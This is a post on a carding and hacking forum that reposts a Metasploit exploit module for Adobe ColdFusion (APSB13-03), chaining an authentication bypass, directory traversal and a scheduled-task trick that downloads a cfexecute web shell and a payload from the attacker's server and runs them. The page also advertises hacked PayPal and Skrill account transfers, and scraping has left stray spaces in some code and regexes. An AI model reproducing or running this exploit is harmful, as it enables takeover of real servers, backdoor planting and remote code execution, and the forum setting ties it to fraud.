We are closing registration and public forum view to Paid & Private in 16 days! CLICK HERE to register FREE.
 
Create an account  

For users privacy, our last domains: CarderHack.com and OmertaHack.net are moved to CardingTeam.ws

Deposit & Withdraw | About Verified Sellers and Escrow | Advertise | Scam Report | Tracking Number Details | ICQ: 717039384

carding forums carding forums
carding forums carding forums
carding forums Paid adv expire in 48 days
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
 
Adobe ColdFusion APSB13-03 Remote Exploit

#1
Code:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   https://metasploit.com/
##
require 'msf/core'
require 'digest/sha1'
require 'openssl'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
def initialize(info = {})
super (update_info(info,
'Name' => 'Adobe ColdFusion APSB13-03' ,
'Description' => %q{
This module exploits a pile of vulnerabilities in Adobe ColdFusion APSB13 - 03 :
* CVE- 2013 -0625 : arbitrary command execution in scheduleedit.cfm ( 9 .x only)
* CVE- 2013 -0629 : directory traversal
* CVE- 2013 -0632 : authentication bypass
},
'Author' =>
[
'Jon Hart <jon_hart[at]rapid7.com' , # Metasploit module
],
'License' => MSF_LICENSE ,
'References' =>
[
[ 'CVE' , '2013-0625' ],
[ 'CVE' , '2013-0629' ],
# we don't actually exploit this, as this is the backdoor
# dropped by malware exploiting the other vulnerabilities
[ 'CVE' , '2013-0631' ],
[ 'CVE' , '2013-0632' ],
],
'Targets' =>
[
[ 'Automatic Targeting' , { 'auto' => true }],
[
'Universal CMD' ,
{
'Arch' => ARCH_CMD ,
'Platform' => [ 'unix' , 'win' , 'linux' ]
}
]
],
'DefaultTarget' => 1,
'Privileged' => true,
'Platform' => [ 'win' , 'linux' ],
'DisclosureDate' => 'Jan 15 2013' ))
register_options(
[
Opt:: RPORT ( 80 ),
OptString. new('USERNAME' , [ false , 'The username to authenticate as' ]),
OptString. new('PASSWORD' , [ false , 'The password for the specified username' ]),
OptBool. new( 'USERDS' , [ true, 'Authenticate with RDS credentials' , true ]),
OptString. new('CMD' , [ false , 'Command to run rather than dropping a payload' , '' ]),
], self . class )
register_advanced_options(
[
OptBool. new( 'DELETE_TASK' , [ true , 'Delete scheduled task when done' , true ]),
], self . class )
end
def check
exploitable = 0
exploitable += 1 if check_cve_2013_0629
exploitable += 1 if check_cve_2013_0632
exploitable > 0 ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
end
# Login any way possible, returning the cookies if successful, empty otherwise
def login
cf_cookies = {}
ways = {
'RDS bypass' => Proc .new { |foo| adminapi_login(datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ], true) },
'RDS login' => Proc . new { |foo| adminapi_login(datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ], false ) },
'Administrator login' => Proc .new { |foo| administrator_login(datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ]) },
}
ways. each do |what, how|
these_cookies = how.call
if got_auth? these_cookies
print_status "Authenticated using '#{what}' technique"
cf_cookies = these_cookies
break
end
end
fail_with(Exploit::Failure::NoAccess, "Unable to authenticate" ) if cf_cookies.empty?
cf_cookies
end
def exploit
# login
cf_cookies = login
# if we managed to login, get the listener ready
datastore[ 'URIPATH' ] = rand_text_alphanumeric( 6 )
srv_uri = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
start_service
# drop a payload on disk which we can used to execute
# arbitrary commands, which will be needed regardless of
# which technique (cmd, payload) the user wants
input_exec = srv_uri + "/#{datastore['URIPATH']}-e"
output_exec = "#{datastore['URIPATH']}-e.cfm"
schedule_drop cf_cookies, input_exec, output_exec
if datastore[ 'CMD' ] and not datastore[ 'CMD' ].empty?
# now that the coldfusion exec is on disk, execute it,
# passing in the command and arguments
parts = datastore[ 'CMD' ].split(/\s+/)
res = execute output_exec, parts.shift, parts.join( ' ' )
print_line res.body.strip
else
# drop the payload
input_payload = srv_uri + "/#{datastore['URIPATH']}-p"
output_payload = "#{datastore['URIPATH']}-p"
schedule_drop cf_cookies, input_payload, output_payload
# make the payload executable
# XXX: windows?
execute output_exec, 'chmod' , "755 ../../wwwroot/CFIDE/#{output_payload}"
# execute the payload
execute output_exec, "../../wwwroot/CFIDE/#{output_payload}"
end
handler
end
def execute cfm, cmd, args= ''
uri = "/CFIDE/" + cfm + "?cmd=#{cmd}&args=#{Rex::Text::uri_encode args}"
send_request_raw( { 'uri' => uri, 'method' => 'GET' }, 25 )
end
def on_new_session(client)
return
# TODO: cleanup
if client.type == "meterpreter"
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
@files .each do |file|
client.fs.file.rm( "#{file}" )
end
else
@files .each do |file|
client.shell_command_token( "rm #{file}" )
end
end
end
def on_request_uri cli, request
cf_payload = "test"
case request.uri
when "/#{datastore['URIPATH']}-e"
cf_payload = <<- EOF
<cfparam name= "url.cmd" type= "string" default= "id" />
<cfparam name= "url.args" type= "string" default= "" />
<cfexecute name= #url.cmd# arguments=#url.args# timeout="5" variable="output" />
<cfoutput> #output#</cfoutput>
EOF
when "/#{datastore['URIPATH']}-p"
cf_payload = payload.encoded
end
send_response(cli, cf_payload, { 'Content-Type' => 'text/html' })
end
# Given a hash of cookie key value pairs, return a string
# suitable for use as an HTTP Cookie header
def build_cookie_header cookies
cookies.to_a.map { |a| a.join '=' }.join '; '
end
# this doesn't actually work
def twiddle_csrf cookies, enable= false
mode = (enable ? "Enabling" : "Disabling" )
print_status "#{mode} CSRF protection"
params = {
'SessEnable' => enable.to_s,
}
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "/CFIDE/administrator/settings/memoryvariables.cfm" ),
'method' => 'POST' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookies),
'vars_post' => params,
})
if res
if res.body =~ /SessionManagement should/
print_error "Error #{mode} CSRF"
end
else
print_error "No response while #{mode} CSRF"
end
end
# Using the provided +cookies+, schedule a ColdFusion task
#  to request content from +input_uri+ and drop it in +output_path+
def schedule_drop cookies, input_uri, output_path
vprint_status "Attempting to schedule ColdFusion task"
cookie_hash = cookies
scheduletasks_path = "/CFIDE/administrator/scheduler/scheduletasks.cfm"
scheduleedit_path = "/CFIDE/administrator/scheduler/scheduleedit.cfm"
# make a request to the scheduletasks page to pick up the CSRF token
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path),
'method' => 'GET' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookie_hash),
})
cookie_hash.merge! get_useful_cookies res
if res
# XXX: I can only seem to get this to work if 'Enable Session Variables'
# is disabled (Server Settings -> Memory Variables)
token = res.body.scan(/<input type= "hidden" name= "csrftoken" value= "([^\"]+)" /).flatten.first
unless token
print_warning "Empty CSRF token found -- either CSRF is disabled (good) or we couldn't get one (bad)"
#twiddle_csrf cookies, false
token = ''
end
else
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for task listing" )
end
# make a request to the scheduletasks page again, this time passing in our CSRF token
# in an attempt to get all of the other cookies used in a request
cookie_hash.merge! get_useful_cookies res
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?csrftoken=#{token}&submit=Schedule+New+Task" ,
'method' => 'GET' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookie_hash),
})
fail_with(Exploit::Failure::Unknown, "No response when trying to GET scheduletasks.cfm for new task" ) unless res
# pick a unique task ID
task_id = SecureRandom.uuid
# drop the backdoor in the CFIDE directory so it can be executed
publish_file = '../../wwwroot/CFIDE/' + output_path
# pick a start date.  This must be in the future, so pick
# one sufficiently far ahead to account for time zones,
# improper time keeping, solar flares, drift, etc.
start_date = "03/15/#{Time.now.strftime('%Y').to_i + 1}"
params = {
'csrftoken' => token,
'TaskName' => task_id,
'Group' => 'default' ,
'Start_Date' => start_date,
'End_Date' => '' ,
'ScheduleType' => 'Once' ,
'StartTimeOnce' => '1:37 PM' ,
'Interval' => 'Daily' ,
'StartTimeDWM' => '' ,
'customInterval_hour' => '0' ,
'customInterval_min' => '0' ,
'customInterval_sec' => '0' ,
'CustomStartTime' => '' ,
'CustomEndTime' => '' ,
'repeatradio' => 'norepeatforeverradio' ,
'Repeat' => '' ,
'crontime' => '' ,
'Operation' => 'HTTPRequest' ,
'ScheduledURL' => input_uri,
'Username' => '' ,
'Password' => '' ,
'Request_Time_out' => '' ,
'proxy_server' => '' ,
'http_proxy_port' => '' ,
'publish' => '1' ,
'publish_file' => publish_file,
'publish_overwrite' => 'on' ,
'eventhandler' => '' ,
'exclude' => '' ,
'onmisfire' => '' ,
'onexception' => '' ,
'oncomplete' => '' ,
'priority' => '5' ,
'retrycount' => '3' ,
'advancedmode' => 'true' ,
'adminsubmit' => 'Submit' ,
'taskNameOriginal' => task_id,
'groupOriginal' => 'default' ,
'modeOriginal' => 'server' ,
}
cookie_hash.merge! (get_useful_cookies res)
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduleedit_path),
'method' => 'POST' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookie_hash),
'vars_post' => params,
})
if res
# if there was something wrong with the task, capture those errors
# print them and abort
errors = res.body.scan(/<li class = "errorText" >(.*)<\/li>/i).flatten
if errors.empty?
if res.body =~ /SessionManagement should/
fail_with(Exploit::Failure::NoAccess, "Unable to bypass CSRF" )
end
print_status "Created task #{task_id}"
else
fail_with(Exploit::Failure::NoAccess, "Unable to create task #{task_id}: #{errors.join(',')}" )
end
else
fail_with(Exploit::Failure::Unknown, "No response when creating task #{task_id}" )
end
print_status "Executing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?runtask=#{task_id}&csrftoken=#{token}&group=default&mode=server" ,
'method' => 'GET' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookie_hash),
})
#twiddle_csrf cookies, true
if datastore[ 'DELETE_TASK' ]
print_status "Removing task #{task_id}"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, scheduletasks_path) + "?action=delete&task=#{task_id}&csrftoken=#{token}" ,
'method' => 'GET' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookie_hash),
})
end
vprint_status normalize_uri(target_uri, publish_file)
publish_file
end
# Given the HTTP response +res+, extract any interesting, non-empty
# cookies, returning them as a hash
def get_useful_cookies res
set_cookie = res.headers[ 'Set-Cookie' ]
# Parse the Set-Cookie header
parsed_cookies = CGI::Cookie.parse(set_cookie)
# Clean up the cookies we got by:
#   * Dropping Path and Expires from the parsed cookies -- we don't care
#   * Dropping empty (reset) cookies
%w(Path Expires). each do |ignore|
parsed_cookies.delete ignore
parsed_cookies.delete ignore.downcase
end
parsed_cookies.keys. each do |name|
parsed_cookies[name].reject! { |value| value == '""' }
end
parsed_cookies.reject! { |name,values| values.empty? }
# the cookies always seem to start with CFAUTHORIZATION_, but
# give the module the ability to log what it got in the event
# that this stops becoming an OK assumption
unless parsed_cookies.empty?
vprint_status "Got the following cookies after authenticating: #{parsed_cookies}"
end
cookie_pattern = /^ CF /
useful_cookies = parsed_cookies.select { |name,value| name =~ cookie_pattern }
if useful_cookies.empty?
vprint_status "No #{cookie_pattern} cookies found"
else
vprint_status "The following cookies could be used for future authentication: #{useful_cookies}"
end
useful_cookies
end
# Authenticates to ColdFusion Administrator via the adminapi using the
# specified +user+ and +password+.  If +use_rds+ is true, it is assumed that
# the provided credentials are for RDS, otherwise they are assumed to be
# credentials for ColdFusion Administrator.
#
# Returns a hash (cookie name => value) of the cookies obtained
def adminapi_login user, password, use_rds
vprint_status "Attempting ColdFusion Administrator adminapi login"
user ||= ''
password ||= ''
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w( CFIDE adminapi administrator.cfc)),
'method' => 'POST' ,
'connection' => 'TE, close' ,
'vars_post' => {
'method' => 'login' ,
'adminUserId' => user,
'adminPassword' => password,
'rdsPasswordAllowed' => (use_rds ? '1' : '0' )
}
})
if res
if res.code == 200
vprint_status "HTTP #{res.code} when authenticating"
return get_useful_cookies(res)
else
print_error "HTTP #{res.code} when authenticating"
end
else
print_error "No response when authenticating"
end
{}
end
# Authenticates to ColdFusion Administrator using the specified +user+ and
# +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def administrator_login user, password
cf_cookies = administrator_9x_login user, password
unless got_auth? cf_cookies
cf_cookies = administrator_10x_login user, password
end
cf_cookies
end
def administrator_10x_login user, password
# coldfusion 10 appears to do:
#   cfadminPassword.value = hex_sha1(cfadminPassword.value)
vprint_status "Trying ColdFusion 10.x Administrator login"
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w( CFIDE administrator enter.cfm)),
'method' => 'POST' ,
'vars_post' => {
'cfadminUserId' => user,
'cfadminPassword' => Digest:: SHA1.hexdigest(password).upcase,
'requestedURL' => '/CFIDE/administrator/index.cfm' ,
'submit' => 'Login' ,
}
})
if res
if res.code.to_s =~ /^ 30 [12 ]/
useful_cookies = get_useful_cookies res
if got_auth? useful_cookies
return useful_cookies
end
else
if res.body =~ /<title>Error/i
print_status "Appears to be restricted and/or not ColdFusion 10.x"
elsif res.body =~ / A License exception has occurred/i
print_status "Is license restricted"
else
vprint_status "Got unexpected HTTP #{res.code} response when sending a ColdFusion 10.x request.  Not 10.x?"
vprint_status res.body
end
end
end
return {}
end
def got_auth? cookies
not cookies.select { |name,values| name =~ /^ CFAUTHORIZATION_ / }.empty?
end
def administrator_9x_login user, password
vprint_status "Trying ColdFusion 9.x Administrator login"
# coldfusion 9 appears to do:
#   cfadminPassword.value = hex_hmac_sha1(salt.value, hex_sha1(cfadminPassword.value));
#
# You can get a current salt from
#   http://<host>:8500/CFIDE/adminapi/administrator.cfc?method=getSalt&name=CFIDE.adminapi.administrator&path=/CFIDE/adminapi/administrator.cfc#metho
#
# Unfortunately that URL might be restricted and the salt really just looks
# to be the current time represented as the number of milliseconds since
# the epoch, so just use that
salt = ( Time.now.to_i * 1000).to_s
pass = OpenSSL:: HMAC .hexdigest(OpenSSL::Digest. new( 'sha1' ), salt, Digest:: SHA1.hexdigest(password).upcase).upcase
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w( CFIDE administrator enter.cfm)),
'method' => 'POST' ,
'vars_post' => {
'submit' => 'Login' ,
'salt' => salt,
'cfadminUserId' => user,
'requestedURL' => '/CFIDE/administrator/index.cfm' ,
'cfadminPassword' => pass,
}
})
if res
return get_useful_cookies res
else
print_error "No response while trying ColdFusion 9.x authentication"
end
{}
end
# Authenticates to ColdFusion ComponentUtils using the specified +user+ and +password+
#
# Returns a hash (cookie name => value) of the cookies obtained
def componentutils_login user, password
vprint_status "Attempting ColdFusion ComponentUtils login"
vars = {
'j_password_required' => "Password+Required" ,
'submit' => 'Login' ,
}
vars[ 'rdsUserId' ] = user if user
vars[ 'j_password' ] = password if password
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, %w( CFIDE componentutils cfcexplorer.cfc)),
'method' => 'POST' ,
'connection' => 'TE, close' ,
'vars_post' => vars
})
cf_cookies = {}
if res.code.to_s =~ /^(?: 200| 30 [ 12 ])$/
cf_cookies = get_useful_cookies res
else
print_error "HTTP #{res.code} while attempting ColdFusion ComponentUtils login"
end
cf_cookies
end
def check_cve_2013_0629
vulns = 0
paths = %w(../../../license.txt ../../../../license.html)
# first try password-less bypass in the event that this thing
# was just wide open
vuln_without_creds = false
paths. each do |path|
if (traverse_read path, nil) =~ / ADOBE SYSTEMS INCORPORATED /
vulns += 1
vuln_without_creds = true
break
end
end
if vuln_without_creds
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 without credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 without credentials"
end
# if credentials are provided, try those too
if datastore[ 'USERNAME' ] and datastore[ 'PASSWORD' ]
vuln_without_bypass = false
paths. each do |path|
cf_cookies = componentutils_login datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ]
if (traverse_read path, cf_cookies) =~ / ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_without_bypass = true
break
end
end
if vuln_without_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 with credentials"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 with credentials"
end
end
# now try with the CVE-2013-0632 bypass, in the event that this wasn't *totally* wide open
vuln_with_bypass = false
paths. each do |path|
cf_cookies = adminapi_login datastore[ 'USERNAME' ], datastore[ 'PASSWORD' ], true
# we need to take the cookie value from CFAUTHORIZATION_cfadmin
# and use it for CFAUTHORIZATION_componentutils
cf_cookies[ 'CFAUTHORIZATION_componentutils' ] = cf_cookies[ 'CFAUTHORIZATION_cfadmin' ]
cf_cookies.delete 'CFAUTHORIZATION_cfadmin'
if (traverse_read path, cf_cookies) =~ / ADOBE SYSTEMS INCORPORATED/
vulns += 1
vuln_with_bypass = true
break
end
end
if vuln_with_bypass
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0629 in combination with CVE-2013-0632"
end
vulns > 0
end
# Checks for CVE-2013-0632, returning true if the target is
# vulnerable, false otherwise
def check_cve_2013_0632
if datastore[ 'USERDS' ]
# the vulnerability for CVE-2013-0632 is that if RDS is disabled during install but
# subsequently *enabled* after install, the password is unset so we simply must
# check that and only that.
cf_cookies = adminapi_login 'foo' , 'bar' , true
if cf_cookies.empty?
print_status "#{datastore['RHOST']} is not vulnerable to CVE-2013-0632"
else
print_status "#{datastore['RHOST']} is vulnerable to CVE-2013-0632"
return true
end
else
print_error "Cannot test #{datastore['RHOST']} CVE-2013-0632 with USERDS off"
end
false
end
def traverse_read path, cookies
uri = normalize_uri(target_uri.path)
uri << "CFIDE/componentutils/cfcexplorer.cfc?method=getcfcinhtml&name=CFIDE.adminapi.administrator&path="
uri << path
res = send_request_cgi(
{
'uri' => uri,
'method' => 'GET' ,
'connection' => 'TE, close' ,
'cookie' => build_cookie_header(cookies)
})
res.body.gsub(/\r\n?/, "\n" ).gsub(/.<html>.<head>.<title>Component.*/m, '' )
end
end
Reply
Paid adv. expire in 47 days
CLICK to buy Advertisement !

    Verified & Trusted HACKED Payza, PayPal, Ukash, Ucard, EgoPay, Skrill - TRANSFER [Escrow accepted]




Forum Jump: